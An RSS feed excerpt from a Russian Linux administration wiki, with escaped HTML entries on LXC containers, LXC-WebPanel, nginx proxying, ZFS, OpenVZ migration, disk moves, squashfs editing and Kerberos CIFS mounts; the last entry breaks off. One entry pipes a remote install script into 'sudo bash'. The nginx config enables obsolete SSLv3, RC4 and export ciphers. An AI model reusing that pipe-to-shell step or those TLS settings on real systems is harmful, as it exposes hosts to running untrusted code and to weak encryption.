&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043b\u0438\u043c\u0438\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u043b\u0438\u043c\u0438\u0442\u043e\u0432_\u043f\u0430\u043c\u044f\u0442\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3666-4520&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;монтируем_директорию_хоста_в_контейнер&quot;&gt;Монтируем директорию хоста в контейнер&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Это может понадобиться для того, чтобы одни и те же файлы были видны в нескольких контейнерах. &lt;br/&gt;

&lt;br/&gt;

По-умолчанию в контейнер монтируется файловая система из директории &lt;strong&gt;/var/lib/lxc/mycontainer/rootfs&lt;/strong&gt;. 
Для того, чтобы подмонтировать к корневой файловой системе контейнера директорию хоста нужно отредактировать файлик &lt;strong&gt;/var/lib/lxc/mycontainer/config&lt;/strong&gt; и добавить туда:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc.mount.entry=/path/in/host/mount_point /var/lib/lxc/mycontainer/rootfs/mount_point none bind 0 0&lt;/pre&gt;

&lt;p&gt;
и перезагрузить контейнер. При необходимости, пути могут быть и одинаковыми. &lt;br/&gt;

Кроме того, можно использовать относительный путь в контейнере:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc.mount.entry=/path/in/host/mount_point mount_point none bind 0 0&lt;/pre&gt;

&lt;p&gt;
При монтировании, система смотрит, есть ли слеш “/” в начале пути точки монтирования в контейнере. Если слеша нет, то путь считается относительным. &lt;br/&gt;

Точку монтирования в контейнере нужно создавать вручную. При монтировании она автоматически не создается, а при отсутствии точки монтирования контейнер не стартует.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0445\u043e\u0441\u0442\u0430 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c_\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e_\u0445\u043e\u0441\u0442\u0430_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;4521-6240&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;устанавливаем_lxc-webpanel&quot;&gt;Устанавливаем LXC-WebPanel&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Логично использовать форк &lt;strong&gt;LXC-webpanel&lt;/strong&gt;, который умеет делать бекап контейнера из web-интерфейса и поддерживает &lt;strong&gt;LXC 1.0&lt;/strong&gt;. Запускаем скрипт, который пропишет нужный репозиторий:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -s https://packagecloud.io/install/repositories/claudyus/LXC-Web-Panel/script.deb.sh | sudo bash &lt;/pre&gt;

&lt;p&gt;
На момент написания заметки скрипт прописывает репозиторий для &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;, однако сущестует только репозиторий для “Ubuntu 14.04”. Исправить это можно отредактировав файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/apt/sources.list.d/claudyus_LXC-Web-Panel.list&lt;/pre&gt;

&lt;p&gt;
и заменив в нем &lt;strong&gt;xenial&lt;/strong&gt; на &lt;strong&gt;trusty&lt;/strong&gt;. После этой процедуры устанавдиваем &lt;strong&gt;lwp&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y install lwp&lt;/pre&gt;

&lt;p&gt;
теперь можно сконфигурировать, запустить панель и протестировать
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp /etc/lwp/lwp.example.conf /etc/lwp/lwp.conf
sudo nano /etc/lwp/lwp.conf #change it to your liking
sudo systemctl enable lwp
sudo service lwp start&lt;/pre&gt;

&lt;p&gt;
заходим на &lt;a href=&quot;http://x.x.x.x:5000&quot; class=&quot;urlextern&quot; title=&quot;http://x.x.x.x:5000&quot; rel=&quot;ugc nofollow&quot;&gt;http://x.x.x.x:5000&lt;/a&gt; с логином &lt;strong&gt;admin&lt;/strong&gt; и паролем &lt;strong&gt;admin&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c LXC-WebPanel&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_lxc-webpanel&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;6241-7641&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;вход_с_доменной_учеткой&quot;&gt;Вход с доменной учеткой&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В LWP собственный модуль авторизации с помощью LDAP сломан. Судя по всему из-за несовместимости с новыми версиями Python. Однако, можно ввести хост в домен (например с помощью PBIS - &lt;a href=&quot;https://wiki.autosys.tk/doku.php?id=linux_faq:ubuntu-16-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-active-directory-windows#%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BC%D0%BE%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%80%D0%B5%D1%81%D1%83%D1%80%D1%81%D0%BE%D0%B2&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.autosys.tk/doku.php?id=linux_faq:ubuntu-16-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-active-directory-windows#%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BC%D0%BE%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%80%D0%B5%D1%81%D1%83%D1%80%D1%81%D0%BE%D0%B2&quot; rel=&quot;ugc nofollow&quot;&gt;как описано тут&lt;/a&gt;, а в файлике &lt;strong&gt;/etc/lwp/lwp.conf&lt;/strong&gt; указать:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth = pam&lt;/pre&gt;

&lt;p&gt;
Пользователя нужно добавить в файлик &lt;strong&gt;/etc/sudoers&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0445\u043e\u0434 \u0441 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043a\u043e\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0445\u043e\u0434_\u0441_\u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439_\u0443\u0447\u0435\u0442\u043a\u043e\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;7642-8539&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit10&quot; id=&quot;включаем_ssl_на_lwp&quot;&gt;Включаем SSL на LWP&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Поддержка SSL в LWP была выпилена и рекомендовано использовать nginx в качестве reverse-proxy.
Устанаваливаем и настраиваем nginx:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install nginx &lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;nginx.conf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server {
    listen   443; ## listen for ipv4; this line is default and implied
    #listen   [::]:443 default ipv6only=on; ## listen for ipv6

    # logs
    error_log /var/log/nginx/lwp.yourdomain.com.error.log error;
    access_log /var/log/nginx/lwp.yourdomain.com.access.log;

    # Make site accessible from hostanme
    # change this according to your domain/hostanme
    server_name lwp.yourdomain.com;

    # set client body size #
    client_max_body_size 5M;

    ssl on;
    ssl_certificate ssl/server.cert;
    ssl_certificate_key ssl/server.key;

    ssl_session_timeout 5m;

    ssl_protocols SSLv3 TLSv1;
    ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
    ssl_prefer_server_ciphers on;

    location / {
        proxy_pass http://127.0.0.1:5000;
    }
}

server {
    listen   80; ## listen for ipv4; this line is default and implied
    #listen   [::]:80 default ipv6only=on; ## listen for ipv6

    # Make site accessible from hostanme on port 80
    # change this according to your domain/hostanme
    server_name lwp.yourdomain.com;

    # redirect all requests to https
    return 301 https://$host$request_uri;
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c SSL \u043d\u0430 LWP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c_ssl_\u043d\u0430_lwp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;8540-10017&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit11&quot; id=&quot;работа_с_контейнерами&quot;&gt;Работа с контейнерами&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
После создания контейнера можно его запустить командой &lt;strong&gt;lxc-start&lt;/strong&gt;, указав имя - &lt;strong&gt;test&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc-start -n test&lt;/pre&gt;

&lt;p&gt;
Для того, чтобы попасть в консоль контейнера в коммандной строке выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc-console -n test&lt;/pre&gt;

&lt;p&gt;
Так как хостовая система &lt;strong&gt;Ubuntu&lt;/strong&gt;, то логин и пароль для входа в контейнер по-умолчанию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;username: ubuntu
password: ubuntu&lt;/pre&gt;

&lt;p&gt;
Чтобы выйти из консоли контейнера нужно нажачать &lt;strong&gt;Ctrl+a&lt;/strong&gt; и затем &lt;strong&gt;q&lt;/strong&gt; (без &lt;strong&gt;Ctrl&lt;/strong&gt;). &lt;br/&gt;

Для того чтобы создать пользователя в контейнере не заходя в него нужно либо сделать &lt;strong&gt;chroot&lt;/strong&gt; в папку с файловой системой контейнера, либо выполнить  &lt;strong&gt;lxc-attach&lt;/strong&gt;, а затем &lt;strong&gt;addduser&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc-attach -n test
adduser username&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0431\u043e\u0442\u0430_\u0441_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;10018-11090&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit12&quot; id=&quot;настраиваем_zfs-pool&quot;&gt;Настраиваем ZFS-pool&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Замечательным свойством &lt;strong&gt;LXC&lt;/strong&gt; является поддержка &lt;strong&gt;ZFS&lt;/strong&gt;. &lt;br/&gt;

Использование &lt;strong&gt;ZFS&lt;/strong&gt; позволяет использовать снепшоты для бекапа, а также дедупликацию и компрессию для экономии места.&lt;br/&gt;

Если на хосте &lt;strong&gt;LXC&lt;/strong&gt; есть  &lt;strong&gt;ZFS volume&lt;/strong&gt;, то контейнеры можно создавать как в нем, так и по старому в директории. Просто при создании контейнера нужно указывать имя &lt;strong&gt;zfs pool&lt;/strong&gt;, в котором будет создан &lt;strong&gt;dataset&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zpool create -f lxc /dev/xvdb
sudo zpool status
sudo zfs list
sudo zfs set dedup=on lxc
sudo zfs set compression=on lxc
sudo zdb -S lxc&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c ZFS-pool&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_zfs-pool&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;11091-11959&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit13&quot; id=&quot;миграция_контейнера_из_openvz&quot;&gt;Миграция контейнера из OpenVZ&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/cdown/openvz-to-lxc/blob/master/openvz-to-lxc&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/cdown/openvz-to-lxc/blob/master/openvz-to-lxc&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/cdown/openvz-to-lxc/blob/master/openvz-to-lxc&lt;/a&gt;
&lt;a href=&quot;https://l3net.wordpress.com/2012/10/26/easy-lxc-running-openvz-containers-in-lxc-2/&quot; class=&quot;urlextern&quot; title=&quot;https://l3net.wordpress.com/2012/10/26/easy-lxc-running-openvz-containers-in-lxc-2/&quot; rel=&quot;ugc nofollow&quot;&gt;https://l3net.wordpress.com/2012/10/26/easy-lxc-running-openvz-containers-in-lxc-2/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Эксперимент проводится на контейнере с &lt;strong&gt;Debian 7.0&lt;/strong&gt;. &lt;br/&gt;

На хосте &lt;strong&gt;OpenVZ&lt;/strong&gt; я распаковал &lt;strong&gt;dump&lt;/strong&gt; контейнера, смонтировал образ &lt;strong&gt;ploop&lt;/strong&gt;, затем сжал файлики, перенес их на хост &lt;strong&gt;LXC&lt;/strong&gt;, создал новый контейнер и распаковал в него содержимое архива. &lt;br/&gt;

На хосте &lt;strong&gt;OpenVZ&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf ./ve-dump.103.1492091356.tar 
mkdir /mnt/hdd
mount -t ploop ./DiskDescriptor.xml /mnt/hdd 
tar -cvpf ./hdd.tar.gz /mnt/hdd&lt;/pre&gt;

&lt;p&gt;
Передаем на хост &lt;strong&gt;LXC&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; dd if=./hdd.tar.gz | ssh mike@lxc.host dd of=/mnt/hdd.tar.gz&lt;/pre&gt;

&lt;p&gt;
На хосте &lt;strong&gt;LXC&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /mnt/
sudo tar -xvf ./hdd.tar.gz&lt;/pre&gt;

&lt;p&gt;
Чистим контейнер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rm -Rf /var/lib/lxc/new_container/rootfs/*&lt;/pre&gt;

&lt;p&gt;
И переносим туда файлики:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp -aR /mnt/hdd/hdd/* /var/lib/lxc/new_container/rootfs/&lt;/pre&gt;

&lt;p&gt;
Пробуем запустить контейнер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc-start -n new_container&lt;/pre&gt;

&lt;p&gt;
Контейнер стартует, однако консоль не отдает. :(
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437 OpenVZ&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430_\u0438\u0437_openvz&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;11960-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>moove_ubuntu_to_another_disk</title>
            <link>https://wiki.autosys.tk/linux_faq/moove_ubuntu_to_another_disk</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;что_делаем&quot;&gt;Что делаем&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня есть система &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;, которая установлена на единственном разделе &lt;strong&gt;ext4&lt;/strong&gt; на диске &lt;strong&gt;/dev/sda&lt;/strong&gt;. &lt;br/&gt;

Я подключаю другой диск и хочу перенести всю систему на него, а кроме того изменить разбивку разделов, выделив отдельный &lt;strong&gt;/boot&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u043c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u0434\u0435\u043b\u0430\u0435\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-445&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;приступаем&quot;&gt;Приступаем&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Разбиваю диск. Отдаю &lt;strong&gt;512Mb&lt;/strong&gt; на &lt;strong&gt;/boot&lt;/strong&gt;, &lt;strong&gt;16Gb&lt;/strong&gt; на &lt;strong&gt;swap&lt;/strong&gt; (чтобы работал &lt;strong&gt;hibernate&lt;/strong&gt;), а остальное в раздел &lt;strong&gt;brtfs&lt;/strong&gt;. &lt;br/&gt;

Затем монтирую эти разделы и переношу на них данные:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/restore
sudo mount /dev/sdb5 /mnt/restore/
sudo mkdir /mnt/restore/{mnt,sys,run,dev,proc,media,tmp}
sudo mkdir --parents /mnt/restore/var/log/
sudo touch /mnt/restore/var/log/lastlog
sudo chmod -R a+rw /mnt/restore/tmp
sudo rsync -av --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/boot / /mnt/restore/
sudo rsync -av /boot /mnt/boot
#sudo grub-install --boot-directory=/mnt/boot --root-directory=/mnt/restore /dev/sdb&lt;/pre&gt;

&lt;p&gt;
Затем нужно поправить файлик &lt;strong&gt;/etc/fstab&lt;/strong&gt; на новом диске и прописать туда &lt;strong&gt;UUID&lt;/strong&gt; новых разделов &lt;strong&gt;/boot&lt;/strong&gt; и &lt;strong&gt;/&lt;/strong&gt;. &lt;br/&gt;

В первый раз, когда я делал это, для новго раздела &lt;strong&gt;btrfs&lt;/strong&gt; я сохранил опции монтирования, которые оставались от раздела &lt;strong&gt;ext4&lt;/strong&gt;. Это было ошибкой, которая привела к тому, что загружалось ядро, а дальше загрузка останавливалась без каких бы то ни было ошибок. исправить все удалось выставив в поле опций монтирования &lt;strong&gt;defaults&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;blkid /dev/sdb1
blkid /dev/sdb5
sudo nano /mnt/restore/etc/fstab&lt;/pre&gt;

&lt;p&gt;
Теперь надо установить &lt;strong&gt;GRUB&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mount /dev/sdb5 /mnt/restore/
sudo rm /mnt/restore/boot/* -Rf
sudo mount --bind /dev /mnt/restore/dev/
sudo mount --bind /proc /mnt/restore/proc/
sudo mount --bind /sys /mnt/restore/sys/
sudo mount --bind /mnt/boot /mnt/restore/boot
sudo mount /dev/sdb1 /mnt/boot/
sudo mount --bind /mnt/boot /mnt/restore/boot
sudo chroot /mnt/restore/
grub-install /dev/sdb
update-grub
exit&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;update-grub&lt;/strong&gt; нужен для того, чтобы в &lt;strong&gt;grub.cfg&lt;/strong&gt; изменились &lt;strong&gt;UUID&lt;/strong&gt; разделов. &lt;br/&gt;

Готово. Перезагружаемся и радуемся.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;446-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>mount_and_rewrite_squashfs</title>
            <link>https://wiki.autosys.tk/linux_faq/mount_and_rewrite_squashfs</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда бывает нужно внести некоторые маленькие изменения в образ LiveCD, упакованного в &lt;strong&gt;squashfs&lt;/strong&gt;. Например - сбросить неизвестный пароль &lt;strong&gt;root&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-284&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Смонтировать &lt;strong&gt;squashfs&lt;/strong&gt; непосредственно для записи нельзя. Можно только распаковать, изменить и запаковать обратно. &lt;br/&gt;

Устанавливаем нужные для работы пакеты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install squashfs-tools&lt;/pre&gt;

&lt;p&gt;
Копируем файлик &lt;strong&gt;squashfs&lt;/strong&gt; в директорию, где мы сможем его распаковать:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp /mnt/clonezilla/live/filesystem.squashfs /path/to/workdir
cd /path/to/workdir&lt;/pre&gt;

&lt;p&gt;
Распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;unsquashfs filesystem.squashfs&lt;/pre&gt;

&lt;p&gt;
Дальше в директории &lt;strong&gt;/path/to/workdir/squashfs-root&lt;/strong&gt; меняем нужные файлики.&lt;br/&gt;

Напрмер - меняем пароль в &lt;strong&gt;./etc/shadow&lt;/strong&gt;. 
Генерируем новый пароль (он будет &lt;strong&gt;password&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;perl -e &amp;#039;print crypt(&amp;quot;password&amp;quot;,&amp;quot;\$6\$saltsalt\$&amp;quot;) . &amp;quot;\n&amp;quot;&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Записываем получившееся значение в соответствующую строку в &lt;strong&gt;./etc/passwd&lt;/strong&gt; и пакуем &lt;strong&gt;squashfs&lt;/strong&gt; обратно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /path/to/workdir
sudo mksquashfs squashfs-root filesystem.squashfs -b 1024k -comp xz -Xbcj x86 -e boot&lt;/pre&gt;

&lt;p&gt;
Однако, некоторые &lt;strong&gt;LiveCD&lt;/strong&gt; не могут работать со сжатой &lt;strong&gt;squashfs&lt;/strong&gt; (возникают ошибки монтирования root), поэтому пакуем без сжатия:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mksquashfs squashfs-root filesystem.squashfs -b 1024k -e boot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;285-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>mount_cifs_using_kerberos_auth</title>
            <link>https://wiki.autosys.tk/linux_faq/mount_cifs_using_kerberos_auth</link>
            <description>
&lt;p&gt;
Нужно смонтировать папку, расшаренную по на Windows-хосте на хосте linux. Аутентифицироваться нужно по протоколу kerberos, от имени выделенной учетной записи (не пользовательской). &lt;br/&gt;

Добавляем в системный keytab-файл запись с учетными данными, с которыми будем монтировать директорию.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ ktutil
ktutil: addent -password -p username@DOMAIN.LOCAL -k 1 -e RC4-HMAC
Password for username@DOMAIN.LOCAL: 
ktutil: wkt /etc/krb5.keytab
ktutil: q&lt;/pre&gt;

&lt;p&gt;
Проверяем, что учетные данные попали в &lt;strong&gt;keytab&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;klist -ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   1 username@DOMAIN.LOCAL (aes256-cts-hmac-sha1-96)&lt;/pre&gt;

&lt;p&gt;
Строка в &lt;strong&gt;/etc/fstab&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;//server/share /mnt/path cifs sec=krb5,uid=nobody,iocharset=utf8,noperm 0 0&lt;/pre&gt;

&lt;p&gt;
Скрипт для периодического обновления &lt;strong&gt;keytab&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
#. ~/.bash_profile
/usr/bin/kinit -k -t /etc/krb5.keytab username
exit 0&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 26 Nov 2020 07:53:43 +0000</pubDate>
        </item>
        <item>
            <title>mount_partitions_on_loop_device</title>
            <link>https://wiki.autosys.tk/linux_faq/mount_partitions_on_loop_device</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;автоматическое_обнаружение_разделов&quot;&gt;Автоматическое обнаружение разделов&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Автоматически распознать разделы в файле-образе можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo kpartx -v -a /mnt/hdd/image_file.img
